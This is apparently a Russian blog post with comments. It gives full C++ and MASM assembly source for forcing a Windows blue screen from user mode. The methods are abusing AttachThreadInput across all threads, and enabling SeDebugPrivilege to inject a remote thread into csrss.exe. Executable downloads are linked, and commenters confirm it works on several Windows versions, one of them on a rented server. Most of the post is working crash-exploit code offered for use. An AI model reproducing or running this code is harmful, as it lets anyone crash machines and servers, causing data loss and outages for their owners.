Наткнулся на забавный исходник на одном китайском сайте, где показано, как можно сделать BSOD (Blue Screen of Death, синий экран смерти) в Windows из User-Mode (ring 3) без всякого Native API:
Код на c++:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
#include <windows.h> #include <Tlhelp32.h> #pragma comment(lib,"user32.lib") int main() { HANDLE SnapShotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,0); THREADENTRY32 tBuffer={0}; tBuffer.dwSize=sizeof(THREADENTRY32); if((SnapShotHandle!=INVALID_HANDLE_VALUE) && Thread32First(SnapShotHandle,&tBuffer)) { while (Thread32Next(SnapShotHandle,&tBuffer)) { AttachThreadInput(tBuffer.th32ThreadID,GetCurrentThreadId(),TRUE); } } return 1; } |
Код на ассемблере (переписал с си++ для уменьшения размера, весит всего 1кб):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
.486 .model flat, stdcall option casemap :none include \masm32\include\windows.inc include \masm32\include\user32.inc include \masm32\include\kernel32.inc include \masm32\macros\macros.asm includelib \masm32\lib\user32.lib includelib \masm32\lib\kernel32.lib .data? SnapShotHandle HANDLE ? tBuffer THREADENTRY32 <> .code start: mov SnapShotHandle,FUNC(CreateToolhelp32Snapshot,TH32CS_SNAPTHREAD,0) mov tBuffer.dwSize,sizeof THREADENTRY32 invoke Thread32First,SnapShotHandle,offset tBuffer .if SnapShotHandle!=INVALID_HANDLE_VALUE && eax again: invoke Thread32Next,SnapShotHandle,offset tBuffer .if eax!=0 invoke AttachThreadInput,tBuffer.th32ThreadID,FUNC(GetCurrentThreadId),TRUE jmp again .endif .endif end start |
Код проверен и работает на WinXP SP3 и Windows Vista SP1. На Windows 7 не работает, пофикшено, на XP SP2 тоже вроде бы не работает.
UPD: обнаружился код на c++, который способен вызвать BSOD на Win XP SP2, Win 2003 SP1 и Win NT SP4 (Discovered on 23.12.2004 by YuraN).
Этот код вызывает BSOD за счет внедрения своего потока в csrss.exe, который запускает MessageBox. Он также был переписан мной на ассемблере и объединен с первым. Вот полный текст кода (универсальный, объединенный с первым) для всех этих систем, кроме Windows 7:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 |
.486 .model flat, stdcall option casemap :none include \masm32\include\windows.inc include \masm32\include\user32.inc include \masm32\include\kernel32.inc include \masm32\macros\macros.asm include \masm32\include\advapi32.inc includelib \masm32\lib\user32.lib includelib \masm32\lib\kernel32.lib includelib \masm32\lib\advapi32.lib ADDRS struct pMessageBox DWORD ? txt DWORD ? ADDRS ends .data txt db "BSOD",0 .data? s db 1024 dup(?) EnumProcesses dd ? EnumProcessModules dd ? GetModuleBaseName dd ? hinst HMODULE ? addrs ADDRS <> temp dd ? SnapShotHandle HANDLE ? tBuffer THREADENTRY32 <> .code start: main PROC LOCAL psapi:HMODULE mov SnapShotHandle,FUNC(CreateToolhelp32Snapshot,TH32CS_SNAPTHREAD,0) mov tBuffer.dwSize,sizeof THREADENTRY32 invoke Thread32First,SnapShotHandle,offset tBuffer .if SnapShotHandle!=INVALID_HANDLE_VALUE && eax again: invoke Thread32Next,SnapShotHandle,offset tBuffer .if eax!=0 invoke AttachThreadInput,tBuffer.th32ThreadID,FUNC(GetCurrentThreadId),TRUE jmp again .endif .endif mov psapi,FUNC(LoadLibrary,chr$("psapi.dll")) mov EnumProcesses,FUNC(GetProcAddress,psapi,chr$("EnumProcesses")) mov EnumProcessModules,FUNC(GetProcAddress,psapi,chr$("EnumProcessModules")) mov GetModuleBaseName,FUNC(GetProcAddress,psapi,chr$("GetModuleBaseNameA")) call HideNT invoke Sleep,100 invoke ExitProcess,0 ret main ENDP HideNT PROC LOCAL hToken:HANDLE LOCAL tkp:TOKEN_PRIVILEGES LOCAL pe:DWORD LOCAL wb:DWORD LOCAL n:DWORD LOCAL pr [1024] :DWORD LOCAL cpid:DWORD LOCAL h:HANDLE LOCAL xmod:HMODULE LOCAL nmod:DWORD LOCAL hmem:DWORD LOCAL sizeIMG:DWORD LOCAL tid:DWORD invoke RtlFillMemory,addr tkp,sizeof tkp,0 mov ebx,FUNC(GetCurrentProcess) invoke OpenProcessToken,ebx,TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, addr hToken invoke LookupPrivilegeValue,0,chr$("SeDebugPrivilege"),addr tkp.Privileges[0].Luid mov tkp.PrivilegeCount,1 mov tkp.Privileges[0].Attributes,SE_PRIVILEGE_ENABLED invoke AdjustTokenPrivileges,hToken, FALSE, addr tkp, 0, 0, 0 mov hinst,FUNC(GetModuleHandle,0) mov ebx, hinst assume ebx : ptr IMAGE_DOS_HEADER mov ebx, [ebx].e_lfanew add ebx,hinst assume ebx : ptr IMAGE_NT_HEADERS mov ebx,[ebx].OptionalHeader.SizeOfImage mov sizeIMG,ebx lea eax,n push eax push 1024 lea eax,pr push eax call EnumProcesses shr n,2 mov cpid,FUNC(GetCurrentProcessId) mov ecx,0 cycle: push ecx mov eax,pr[ecx*4] .if eax == cpid pop ecx inc ecx .if ecx!=n jmp cycle .else jmp endcycle .endif .endif mov h,FUNC(OpenProcess,PROCESS_ALL_ACCESS,0,pr[ecx*4]) .if !h pop ecx inc ecx .if ecx!=n jmp cycle .else jmp endcycle .endif .endif lea eax,nmod push eax push 4 lea eax,xmod push eax push h call EnumProcessModules push 1023 push offset s push xmod push h call GetModuleBaseName invoke lstrcmpi,offset s,chr$("csrss.exe") .if eax invoke CloseHandle,h pop ecx inc ecx .if ecx!=n jmp cycle .else jmp endcycle .endif .endif mov hmem,FUNC(VirtualAllocEx,h,0,sizeIMG,MEM_RESERVE or MEM_COMMIT,PAGE_EXECUTE_READWRITE) .if !eax invoke CloseHandle,h pop ecx inc ecx .if ecx!=n jmp cycle .else jmp endcycle .endif .endif m2m addrs.txt,offset txt mov eax,hmem add addrs.txt,eax mov eax,hinst sub addrs.txt,eax mov addrs.pMessageBox,offset MessageBoxA invoke WriteProcessMemory,h,hmem,hinst,sizeIMG,addr wb .if !eax invoke CloseHandle,h invoke VirtualFreeEx,h,hmem,sizeIMG,MEM_DECOMMIT or MEM_RELEASE pop ecx inc ecx .if ecx!=n jmp cycle .else jmp endcycle .endif .endif mov eax,offset Hack add eax,hmem sub eax,hinst mov temp,eax mov eax,offset addrs add eax,hmem sub eax,hinst lea ebx,tid invoke CreateRemoteThread,h,0,0,temp,eax,0,ebx .if !eax invoke CloseHandle,h invoke VirtualFreeEx,h,hmem,sizeIMG,MEM_DECOMMIT or MEM_RELEASE pop ecx inc ecx .if ecx!=n jmp cycle .else jmp endcycle .endif .endif pop ecx inc ecx .if ecx!=n jmp cycle .endif endcycle: ret HideNT ENDP Hack PROC, a :ADDRS push 0 lea eax,a.txt push eax lea eax,a.txt push eax push 0 call a.pMessageBox ret Hack ENDP end main |
Скачать пример 1 в exe можно тут: ZIP
Скачать универсальный пример в exe можно тут: ZIP
Ааааа, в рот мне ноги!!
Ну привилегии отладки эт конечно уже жирновато для юзер мода)
СПАСИБО!!! dx, ты мне ОЧЕНЬ помог! Никак не мог перзагрузить дедик :)
Хренасебе тут у вас забавы ;) Делаю для себя открытие за открытием. Спасибо.
Windows Server 2003 SP2, проверено! Работает!
RtlSetProcessIsCritical ?